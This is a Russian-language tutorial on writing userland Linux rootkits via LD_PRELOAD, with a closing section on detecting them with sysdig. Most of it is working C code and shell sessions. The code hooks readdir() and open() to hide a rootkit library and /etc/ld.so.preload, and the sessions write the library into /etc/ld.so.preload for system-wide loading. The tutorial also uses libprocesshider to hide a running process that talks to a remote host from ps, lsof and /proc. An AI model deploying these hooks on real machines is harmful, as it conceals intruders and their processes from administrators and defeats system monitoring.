Создание userland-руткитов с помощью LD_PRELOAD

Что такое LD_PRELOAD?

LD_PRELOAD — это переменная среды в системах Linux, которая предназначена для указания пути к разделяемой библиотеке. Причем при указании этой переменной динамический линкер загрузит вашу .so библиотеку раньше остальных. Таким образом появляется возможность переопределять системные вызовы и заменить их на свои собственные.

В первую очередь LD_PRELOAD предназначена для простого метода отладки или проверки функций в динамически подключаемых библиотеках без необходимости исправлять или перекомпилировать саму библиотеку.

Есть два способа зарегистрировать библиотеку для предзагрузки ld.so:

  1. Установка переменной среды LD_PRELOAD с файлом библиотеки
  2. Запись пути к библиотеке в файл /etc/ld.so.preload

В первом случае мы объявляем переменную с библиотекой для текущего пользователя и его окружения. Во втором же, наша библиотека будет загружена раньше остальных для всех пользователей системы.

Нам интересен как раз второй способ, так как именно он часто используется в руткитах для перехвата некоторых вызовов, таких как чтение файла, листинг директории, процессов и прочих функций, позволяющих злоумышленнику скрывать свое присутствие в системе.

Переопределение системных вызовов

Прежде чем мы начнем сближение с реальным функционалом руткитов, давайте на небольшом примере я покажу, как можно перехватить вызов стандартной функции malloc().

Для этого напишем простую программу, которая выделяет выделяет блок памяти с помощью функции malloc(), затем помещает в него функцией strncpy() строку I will be back и выводит ее посредством fprintf() по адресу, который вернула malloc().

Создаем файл call_malloc.c:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>

int main()
{
    char *alloc = (char *)malloc(0x100);
    strncpy(alloc, "I will be back\0", 14);
    fprintf(stderr, "malloc(): %p\nStr: %s\n", alloc, alloc);
}
call_malloc.c

Теперь напишем программу переопределяющую malloc(). Внутри функция с тем же именем, что и в libc. Наша функция не делает ничего, кроме вывода строки в STDERR c помощью fprintf(). Создадим файл libmalloc.c:

#define _GNU_SOURCE

#include <dlfcn.h>
#include <stdlib.h>
#include <stdio.h>

void *malloc(size_t size)
{
    fprintf(stderr, "\nHijacked malloc(%ld)\n\n", size);
    return 0;
}
libmalloc.c

Теперь с помощью gcc скомпилируем наш код:

ls
(out)call_malloc.c  libmalloc.c
gcc -Wall -fPIC -shared -o libmalloc.so libmalloc.c -ldl
gcc -o call_malloc call_malloc.c
ls
(out)call_malloc  call_malloc.c  libmalloc.c  libmalloc.so

Выполним нашу программу call_malloc:

./call_malloc
(out)malloc(): 0x5585b2466260
(out)Str: I will be back

Посмотрим какие библиотеки использует наша программа с помощью утилиты ldd:

ldd ./call_malloc
(out)	linux-vdso.so.1 (0x00007fff0cd81000)
(out)	libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f0d35c74000)
(out)	/lib64/ld-linux-x86-64.so.2 (0x00007f0d35e50000)

Отлично видно, что без использования предзагрузчика LD_PRELOAD стандартно загружаются три библиотеки:

  1. linux-vdso.so.1 – представляет собой виртуальный динамический разделяемый объект (Virtual Dynamic Shared Object, VDSO), используемый для оптимизации часто используемых системных вызовов. Его можно игнорировать (подробнее $ man 7 vdso).
  2. libc.so.6 – наша библиотека libc с используемой нами функцией malloc() в программе call_malloc.
  3. ld-linux-x86-64.so.2 – сам динамический компоновщик.

Теперь давайте определим переменную LD_PRELOAD и попробуем перехватить malloc(). Здесь я не буду использовать export и ограничусь однострочной командой для простоты:

LD_PRELOAD=./libmalloc.so ./call_malloc
(out)Hijacked malloc(256)
(out)Ошибка сегментирования

Как видим, мы успешно перехватили malloc() из библиотеки libc.so, но не совсем чисто это сделали. Функция возвращает значение указателя NULL, которая при разыменовании strncpy() в программе ./call_malloc вызывает ошибку сегментирования. Исправим это.

Обработка сбоев

Чтобы иметь возможность незаметно выполнить полезную нагрузку руткита, нам нужно вернуть значение, которое вернула бы первоначально вызванная функция. У нас есть 2 способа решить эту проблему:

  • Наша функция malloc() должна реализовывать функциональность malloc() библиотеки libc по запросу пользователя. Это полностью избавит от необходимости использования malloc() из libc.so.
  • libmalloc.so каким-то образом должна иметь возможность вызывать malloc() библиотеки libc и возвращать результаты вызывающей программе.

Каждый раз при вызове malloc(), динамический компоновщик вызывает версию malloc() из libmalloc.so, поскольку это первое вхождение malloc(). Но мы хотим вызвать следующее вхождение malloc(), то есть то, что присутствует в libc.so.

Так происходит потому, что динамический компоновщик внутри использует функцию dlsym() из /usr/include/dlfcn.h для поиска адреса загруженного в память.

По умолчанию в качестве первого аргумента для dlsym() используется дескриптор RTLD_DEFAULT, который возвращает адрес первого вхождения символа. Однако есть еще один псевдо-указатель динамической библиотеки — RTLD_NEXT, который ищет следующее вхождение. Используя RTLD_NEXT мы можем найти функцию malloc() библиотеки libc.so.

Отредактируем libmalloc.с. Комментарии объясняют, что происходит внутри программы:

#define _GNU_SOURCE

#include <dlfcn.h>
#include <stdlib.h>
#include <stdio.h>

// Объявляем указатель на функцию orig_malloc, 
// инициализированный значением NULL. Она будет
// хранить адрес malloc() библиотеки libc.so.
static void* (*orig_malloc)(size_t ) = NULL;

// Это ловушка, имеющая тот же тип возвращаемого 
// значения и аргументов, что и malloc() библиотеки 
// libc. Функция должена внешне выглядеть так же, как malloc
// в libc, чтобы заставить динамический компоновщик 
// поверить, что он предназначен для вызова пользователем.
void *malloc(size_t size)
{
	// Если orig_malloc имеет значение NULL (т.е.
    // ловушка еще не вызвана ни разу), то вызываем 
    // dlsym() с явным указанием RTLD_NEXT, чтобы найти
    // адрес следующего появления malloc после или на 
    // текущий объект. (libmalloc.so). 	После вызова 
    // orig_malloc сохраняет адрес malloc() из libc.so.
	if (orig_malloc == NULL)
	orig_malloc = (void*(*)(size_t))dlsym(RTLD_NEXT, "malloc");

	{
    	// Полезная (или не очень :) нагрузка.
		fprintf(stderr, "Hijacked malloc(%ld)\n", size);
	}
	
    // Вызывает функцию orig_malloc(), выделяя байты размера 
    // в сегменте кучи и возвращает базовый адрес выделенных 
    // байтов вызывающей программе.
	void *alloc_addr = NULL;
	alloc_addr = orig_malloc(size);
	
	return alloc_addr;
}
libmalloc.с

Теперь давайте посмотрим, как отработает наша библиотека в этот раз. Снова компилируем и смотрим на результат работы:

gcc -Wall -fPIC -shared -o libmalloc.so libmalloc.c -ldl
LD_PRELOAD=./libmalloc.so ./call_malloc
(out)Hijacked malloc(256)
(out)malloc(): 0x55ca92740260
(out)Str: I will be back

Отлично! Как мы видим, все прошло гладко. Сначала при первом вхождении malloc() была использована наша реализация этой функции, а затем оригинальная реализация из библиотеки libc.so.

Теперь, когда у нас есть понимание, как работает LD_PRELOAD и каким образом мы можем предопределять работу со стандартными функциями системы, самое время применить эти знания на практике.

Попробуем разобраться с листингом файлов утилиты ls с последующим сокрытием из него файла руткита.

Кошки мышки

Скрываем файл из листинга ls

Большинство динамически скомпилированных программ используют системные вызовы стандартной библиотеки libc. С помощью утилиты ldd посмотрим, какие библиотеки использует программа ls:

ldd /bin/ls
(out)...
(out)libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f1ade498000)
(out)...

Как видим, ls динамически скомпилирована с использование функций библиотеки libc.so. Теперь посмотрим, какие системные вызовы для чтения директории использует утилита ls. Для этого в пустой директории выполним ltrace ls:

ltrace ls
(out)memcpy(0x55de4a72e9b0, ".\0", 2)	= 0x55de4a72e9b0
(out)__errno_location()					= 0x7f3a35b07218
(out)opendir(".")						= 0x55de4a72e9d0
(out)readdir(0x55de4a72e9d0)				= 0x55de4a72ea00
(out)readdir(0x55de4a72e9d0)				= 0x55de4a72ea18
(out)readdir(0x55de4a72e9d0)				= 0
(out)closedir(0x55de4a72e9d0)			= 0

Как видим, при выполнении команды без аргументов ls использует системные вызовы opendir(), readdir() и closedir(), которые являются частью библиотеки libc. Следовательно, используя информацию выше о LD_PRELOAD и ее возможностях переопределения стандартных вызовов собственными, давайте напишем простую библиотеку, которая позволит нам изменить эти функцию readdir() для сокрытия файла libmalloc.so.

На этом моменте разумнее использовать другое имя нашей библиотеки, ведь от демонстрации перехвата функции malloc() мы переходим к написанию простого руткита без нагрузки, который просто прячем сам себя от глаз администратора системы.

Создам новую директорию rootkit и буду работать в ней.

Напишем новую библиотеку. Создадим файл rkit.c. Комментарии помогут разобраться, каким образом происходит сокрытие файла:

#define _GNU_SOURCE

#include <dlfcn.h>
#include <dirent.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

// Определяем макрос, который является
// названием скрываемого файла.
#define RKIT "rootkit.so"

// Здесь все тоже, что и на примере malloc()
struct dirent* (*orig_readdir)(DIR *) = NULL;

struct dirent *readdir(DIR *dirp)
{
	if (orig_readdir == NULL)
	orig_readdir = (struct dirent*(*)(DIR *))dlsym(RTLD_NEXT, "readdir");
    
	// Вызов orig_readdir() для получения каталога.
	struct dirent *ep = orig_readdir(dirp);

	// Проверяется, не является значение директории NULL,
	// Затем вызывается strncmp() для сравнения, совпадает
    // ли d_name каталога с RKIT (т.е. назание нашего 
    // руткита). Если оба условия верны вызываем функцию
    // orig_readdir() для чтения следующей записи каталога,
    // пропуская все директории у которых d_name начинается
    // с «rootkit.so».
	while ( ep != NULL && !strncmp(ep->d_name, RKIT, strlen(RKIT)) ) 
	        ep = orig_readdir(dirp); 
	        
	return ep;
}
rkit.c

Компилируем и проверяем работу:

gcc -Wall -fPIC -shared -o rootkit.so rkit.c -ldl

ls -lah
(out)итого 28K
(out)drwxr-xr-x 2 n0a n0a 4,0K ноя 23 23:46 .
(out)drwxr-xr-x 4 n0a n0a 4,0K ноя 23 23:33 ..
(out)-rw-r--r-- 1 n0a n0a  496 ноя 23 23:44 rkit.c
(out)-rwxr-xr-x 1 n0a n0a  16K ноя 23 23:46 rootkit.so

LD_PRELOAD=./rootkit.so ls -lah
(out)итого 12K
(out)drwxr-xr-x 2 n0a n0a 4,0K ноя 23 23:46 .
(out)drwxr-xr-x 4 n0a n0a 4,0K ноя 23 23:33 ..
(out)-rw-r--r-- 1 n0a n0a  496 ноя 23 23:44 rkit.c

Как видим, нам удалось скрыть файл rootkit.so от посторонних глаз. Пока мы тестировали нашу библиотеку исключительно в пределах одной команды.

Используем /etc/ld.so.preload

Давайте воспользуемся записью в /etc/ld.so.preload для сокрытия нашего файла для всех пользователей системы. Для этого запишем в ld.so.preload путь до нашей библиотеки:

ls
(out)rkit.c	rootkit.so
echo $(pwd)/rootkit.so > /etc/ld.so.preload
(out)ls
rkit.c

Как видим, теперь мы скрыли файл ото всех пользователей (хотя это не совсем так, но об этом позже). Но теперь опытный администратор может довольно легко нас обнаружить, так как само по себе наличие файла /etc/ld.so.preload может говорить о присутствии руткита (особенно, если его раньше там не было).

Скрываем сам ld.so.preload

Ок, давайте попытаемся скрыть из листинга и сам файл ld.so.preload. Немного модифицируем наш код rkit.c:

#define _GNU_SOURCE

#include <dlfcn.h>
#include <dirent.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

#define RKIT    "rootkit.so"
#define LD_PL   "ld.so.preload"

struct dirent* (*orig_readdir)(DIR *) = NULL;

struct dirent *readdir(DIR *dirp)
{
	if (orig_readdir == NULL)
		orig_readdir = (struct dirent*(*)(DIR *))dlsym(RTLD_NEXT, "readdir");

	struct dirent *ep = orig_readdir( dirp );

	while ( ep != NULL &&
	      ( !strncmp(ep->d_name, RKIT,  strlen(RKIT)) ||
	        !strncmp(ep->d_name, LD_PL, strlen(LD_PL))   
	      )) {
		  		ep = orig_readdir(dirp);
		  	 }
	return ep;
}
rkit.c

Для наглядности я добавил к нашей предыдущей программе еще один макрос LD_PL c именем файла ld.so.preload, который мы также добавили в цикл while, где сравниваем имя файла для скрытия.

После компиляции оригинальный файл rootkit.so будет перезаписан и из вывода утилиты ls пропадет и нужный файл ld.so.preload. Проверяем:

gcc -Wall -fPIC -shared -o rootkit.so rkit.c -ldl
ls
(out)rkit.c
ls /etc/
(out)...
(out)ldap			tmpfiles.d
(out)ld.so.cache		ucf.conf
(out)ld.so.conf		udev
(out)ld.so.conf.d		udisks2
(out)libao.conf		ufw
(out)libaudit.conf		update-motd.d
(out)libblockdev		UPower
(out)...

Здорово! Мы только что стали на один шаг скрытнее. Вроде бы это победа, но не спешите радоваться.

Погружаемся глубже

Давайте проверим, сможем ли мы прочитать файл ld.so.preload командой cat:

cat /etc/ld.so.preload
(out)/root/rootkit/src/rootkit.so

Так так так. Получается мы плохо спрятались, если наличие нашего файла можно проверить простым чтением. Почему так вышло?

Очевидно, что для получения содержимого утилита cat использует вызов другой функции, отличной от readdir(), которую мы так старательно переписывали. Ну что же, давайте посмотрим, что использует от libc программа cat:

ltrace cat /etc/ld.so.preload
(out)...
(out)__fxstat(1, 1, 0x7ffded9f6180)      = 0
(out)getpagesize()                       = 4096
(out)open("/etc/ld.so.preload", 0, 01)   = 3
(out)__fxstat(1, 3, 0x7ffded9f6180)      = 0
(out)posix_fadvise(3, 0, 0, 2)           = 0
(out)...

На этот раз нам нужно поработать с функцией open(). Поскольку мы уже опытные, давайте добавим в наш руткит функцию, которая при обращении к файлу /etc/ld.so.preload, будет вежливо говорить, что файла не существует (Error NO ENTry или просто ENOENT).

Снова модифицируем rkit.c:

#define _GNU_SOURCE

#include <dlfcn.h>
#include <dirent.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <errno.h>

#define RKIT    "rootkit.so"
#define LD_PL   "ld.so.preload"

// Добавляем путь, который использует open()
// для открытия файла /etc/ld.so.preload
#define LD_PATH "/etc/ld.so.preload"


struct dirent* (*orig_readdir)(DIR *) = NULL;

// Сохраняем указатель оригинальной функции open
int (*o_open)(const char*, int oflag) = NULL;

struct dirent *readdir(DIR *dirp)
{
	if (orig_readdir == NULL)
		orig_readdir = (struct dirent*(*)(DIR *))dlsym(RTLD_NEXT, "readdir");

	struct dirent *ep = orig_readdir( dirp );

	while ( ep != NULL &&
	      ( !strncmp(ep->d_name, RKIT,  strlen(RKIT)) ||
	        !strncmp(ep->d_name, LD_PL, strlen(LD_PL))   
	      )) {
		  		ep = orig_readdir(dirp);
		  	 }
	return ep;
}


// Работаем с функцией open().
int open(const char *path, int oflag, ...)
{
	char real_path[PATH_MAX];
	if(!o_open)
	
		o_open = dlsym(RTLD_NEXT, "open");
		
	realpath(path, real_path);
	if(strcmp(real_path, LD_PATH) == 0)
	{
		errno = ENOENT;
		return -1;
	}
	return o_open(path, oflag);
}
rkit.c

Здесь мы добавили кусок кода, которые делает то же самое, что и с readdir(). Компилируем и проверяем:

gcc -Wall -fPIC -shared -o rootkit.so rkit.c -ldl
cat /etc/ld.so.preload
(out)cat: /etc/ld.so.preload: Нет такого файла или каталога

Так гораздо лучше. Но это еще не все. Далеко не все. У нас осталось еще много возможных вариантов обнаружения /etc/ld.so.preload.

Мы до сих пор можем без проблем удалить файл, переместить его со сменой имени для просмотра командой ls, поменять ему права без уведомления об ошибке. Даже bash услужливо продолжит его имя при нажатии на TAB.

Как правило, в хороших руткитах использующих пользовательское окружение с LD_PRELOAD реализован перехват следующих функций:

  • listxattr, llistxattr, flistxattr
  • getxattr, lgetxattr, fgetxattr
  • setxattr, lsetxattr, fsetxattr
  • removexattr, lremovexattr, fremovexattr
  • open, open64, openat, creat
  • unlink, unlinkat, rmdir
  • symlink, symlinkat
  • mkdir, mkdirat, chdir, fchdir, opendir, opendir64, fdopendir, readdir, readdir64
  • execve

В рамках этого материала мы их все разбирать не будем. Однако общее представление, как это работает у вас уже должно сформироваться. Например, реализацию хуков вышеперечисленных функций можно посмотреть на примере руткита cub3. Там все тот же dlsym() и RTLD_NEXT.

Скрываем процесс с помощью LD_PRELOAD

При работе руткиту нужно как-то скрывать свою активность от стандартных утилит мониторинга, таких как lsof, ps, top и тд. Выше мы уже довольно детально разобрались, как работает переопределение функций LD_PRELOAD.

Для процессов все тоже самое, более того, стандартные программы используют в своей работе procfs, которая является виртуальной файловой системой и представляем собой интерфейс для взаимодействия с ядром ОС.

Причем работа на чтение и запись ведется также, как и с обычной файловой системой. То есть, как вы уже наверно догадались, readdir() из наших экспериментов выше не нужно далеко прятать :)

libprocesshider

Сам же процесс скрытия активности из мониторинга предлагаю рассмотреть на хорошем примере libprocesshider от Gianluca Borello, являющимся автором sysdig.com (о sysdig и методах обнаружения LD_PRELOAD руткитов будет рассказано в конце этого метериала).

Давайте скопируем код с гитхаба и разберемся, что к чему:

git clone https://github.com/gianlucaborello/libprocesshider
cd libprocesshider
ls
(out)evil_script.py	Makefile  processhider.c  README.md

В описании к libprocesshider все просто: делаем make, копируем в /usr/local/lib/ и добавляем в /etc/ld.so.preload. Сделаем все, кроме последнего:

make
(out)gcc -Wall -fPIC -shared -o libprocesshider.so processhider.c -ldl
sudo mv libprocesshider.so /usr/local/lib/

Теперь давайте посмотрим, как каким образом ps получает информацию о процессах. Для этого запустим ltrace:

ltrace /bin/ps
(out)...
(out)time(0)                                                      = 1606208519
(out)meminfo(0, 4096, 0, 0x7f1787ce9207)                          = 0
(out)openproc(96, 0, 0, 0)                                        = 0x55c6f9f145c0
(out)readproc(0x55c6f9f145c0, 0x55c6f8258580, 0x7f1787651010, 0)  = 0x55c6f8258580
(out)readproc(0x55c6f9f145c0, 0x55c6f8258580, 0, 7)               = 0x55c6f8258580
(out)readproc(0x55c6f9f145c0, 0x55c6f8258580, 0, 5)               = 0x55c6f8258580
(out)readproc(0x55c6f9f145c0, 0x55c6f8258580, 0, 5)               = 0x55c6f8258580
(out)...

Для получения информации о процессе используется функция readproc(). Посмотрим реализацию этой функции в файле readproc.c:

//////////////////////////////////////////////////////////////////////////////////
// This finds processes in /proc in the traditional way.
// Return non-zero on success.
static int simple_nextpid(PROCTAB *restrict const PT, proc_t *restrict const p) {
  static struct direct *ent;		/* dirent handle */
  char *restrict const path = PT->path;
  for (;;) {
    ent = readdir(PT->procfs);
    if(unlikely(unlikely(!ent) || unlikely(!ent->d_name))) return 0;
    if(likely(likely(*ent->d_name > '0') && likely(*ent->d_name <= '9'))) break;
  }
  p->tgid = strtoul(ent->d_name, NULL, 10);
  p->tid = p->tgid;
  memcpy(path, "/proc/", 6);
  strcpy(path+6, ent->d_name);  // trust /proc to not contain evil top-level entries
  return 1;
}
Фрагмент кода из readproc.c, реализующий функцию поиска процесса в /proc

Из кода выше ясно, что получение PID процессов идет путем вызова readdir() в цикле for. Другими словами, если нет директории процесса – нет и самого процесса для утилит мониторинга. Приведу пример части кода libprocesshider, где уже знакомым нам методом мы скрываем директорию процесса:

...
while(1)                                                            
{                                                             
    dir = original_##readdir(dirp);                           
    if(dir) {                                                  
        char dir_name[256];                                
        char process_name[256];                             
        if(get_dir_name(dirp, dir_name, sizeof(dir_name)) && 
            strcmp(dir_name, "/proc") == 0 &&               
            get_process_name(dir->d_name, process_name) &&  
            strcmp(process_name, process_to_filter) == 0) {
            continue;                                      
        }                                              
    }                                                  
     break;                                                
}                                                                   
return dir;
...
Фрагмент кода processhider.c. Процесс скрытия PID'а процесса.

Причем само имя процесса get_process_name() берется из /proc/pid/stat.

Давайте перейдем к проверке наших догадок. Для этого запустим предлагаемый evil_script.py в фоне:

./evil_script.py 1.2.3.4 1234 &
(out)[1] 3435

3435 – PID нашего работающего процесса evil_script.py. Проверим вывод утилиты htop и убедимся, evil_script.py присутствует в списке процессов:

evil_script.py в списке процессов htop.

Проверим вывод ps и lsof для обнаружения сетевой активности:

sudo ps aux | grep evil_script.py
(out)root       3435 99.5  0.4  19272  8260 pts/1    R    11:48  63:20 /usr/bin/python ./evil_script.py 1.2.3.4 1234
(out)root       3616  0.0  0.0   6224   832 pts/0    S+   12:52   0:00 grep evil_script.py
sudo lsof -ni | grep evil_scri
(out)evil_scri 3435        root    3u  IPv4  41410      0t0  UDP 192.168.232.138:52676->1.2.3.4:1234

Теперь посмотрим наличие директории с PID процесса evil_script.py:

sudo ls /proc | grep 3435
(out)3435
cat /proc/3435/status
(out)Name:	evil_script.py
(out)Umask:	0022
(out)State:	R (running)
(out)Tgid:	3435
(out)Ngid:	0
(out)Pid:	3435
(out)...

Все предсказуемо. Теперь самое время добавить библиотеку libprocesshider.so в предзагрузку глобально для все системы в /etc/ld.so.preload:

echo /usr/local/lib/libprocesshider.so >> /etc/ld.so.preload

Проверяем директорию /proc, а также вывод lsof и ps.

ls /proc | grep 3435
lsof -ni | grep evil_scri
ps aux | grep evil_script.py
root       3707  0.0  0.0   6244   900 pts/0    S+   13:10   0:00 grep evil_script.py

Как видим, результат на лицо. Однако, мы по прежнему можем посмотреть статус процесса в файле /proc/3435/status

cat /proc/3435/status
(out)Name:	evil_script.py
(out)Umask:	0022
(out)State:	R (running)
(out)Tgid:	3435
(out)Ngid:	0
(out)Pid:	3435
(out)...

Подытожим. В первой части статьи я рассмотрел методы перехвата функций и их изменение применительно к основному функционалу руткитов, а также рассмотрел идентичный процесс скрытия из листинга основных утилит мониторинга в арсенале любого Linux.

Как вы уже догадались, простые руткиты довольно легко поддаются детекту. Это может быть различная игра с доступом в файлу /etc/ld.so.preload или профайлинг используемых библиотек программы с помощью ldd.

Но что делать, если автор руткита настолько хорош, что захукал все возможные функции, ldd молчит, а подозрения на сетевую или иную активность присутствует?

Sysdig как решение

В отличии от стандартных инструментов Sysdig устроен по-другому. По архитектуре он близок к таким продуктам, как libcap, tcpdump, wireshark.

Специальный драйвер sysdig probe перехватывает системные события на уровне ядра, после чего запускается функция ядра tracepoints, которая, в свою очередь запускает для этих событий обработчики. Обработчики сохраняют информацию о событии в cовместно используемом буфере.

Затем эта информация может быть выведена на экран или сохранена в текстовом файле.

Давайте посмотрим, как определяется evil_script.py с помощью sysdig. Загрузка центрального процессора:

sudo sysdig -c topprocs_cpu
(out)CPU%                Process             PID
(out)---------------------------------------------
(out)99.00%              evil_script.py      5979
(out)2.00%               sysdig              5997
(out)0.00%               sshd                928
(out)0.00%               wpa_supplicant      474
(out)0.00%               systemd             909
(out)0.00%               exim4               850
(out)0.00%               sshd                938
(out)0.00%               su                  948
(out)0.00%               in:imklog           472
(out)0.00%               in:imuxsock         472

Можно посмотреть выполнение ps. Бонусом sysdig покажет, что динамический компоновщик загружал libprocesshide пользовательскую библиотеку раньше libc:

sudo sysdig proc.name = ps
(out)2731 00:21:52.721054253 1 ps (3351) < execve res=0 exe=ps args=aux. tid=3351(ps) pid=3351(ps) (out)ptid=3111(bash) cwd=/home/gianluca fdlimit=1024 pgft_maj=0 pgft_min=62 vm_size=512 vm_rss=4 vm_swap=0
(out)...
(out)2739 00:21:52.721129329 1 ps (3351) < open fd=3(/usr/local/lib/libprocesshider.so) name=/usr/local/lib/libprocesshider.so flags=1(O_RDONLY) mode=0
(out)2740 00:21:52.721130670 1 ps (3351) > read fd=3(/usr/local/lib/libprocesshider.so) size=832
(out)...
(out)2810 00:21:52.721293540 1 ps (3351) > open
(out)2811 00:21:52.721296677 1 ps (3351) < open fd=3(/lib/x86_64-linux-gnu/libc.so.6) name=/lib/x86_64-linux-gnu/libc.so.6 flags=1(O_RDONLY) mode=0
(out)2812 00:21:52.721297343 1 ps (3351) > read fd=3(/lib/x86_64-linux-gnu/libc.so.6) size=832
(out)...

Стоит отметить, что аналогичный функционал предоставляют утилиты SystemTap, DTrace и его свежая полноценная замена — BpfTrace.

Доп. литература

  1. https://haxelion.eu/article/LD_NOT_PRELOADED_FOR_REAL/
  2. https://sysdig.com/blog/hiding-linux-processes-for-fun-and-profit/
  3. https://3proxy.org/articles/reveng/
  4. https://sysdig.com/blog/hiding-linux-processes-for-fun-and-profit/
  5. https://habr.com/ru/post/479858/
  6. https://habr.com/ru/post/199090/
  7. https://habr.com/ru/post/106107/
  8. https://github.com/topics/ld-preload
  9. https://volatility-labs.blogspot.com/2012/09/movp-24-analyzing-jynx-rootkit-and.html
  10. http://fluxius.handgrep.se/2011/10/31/the-magic-of-ld_preload-for-userland-rootkits/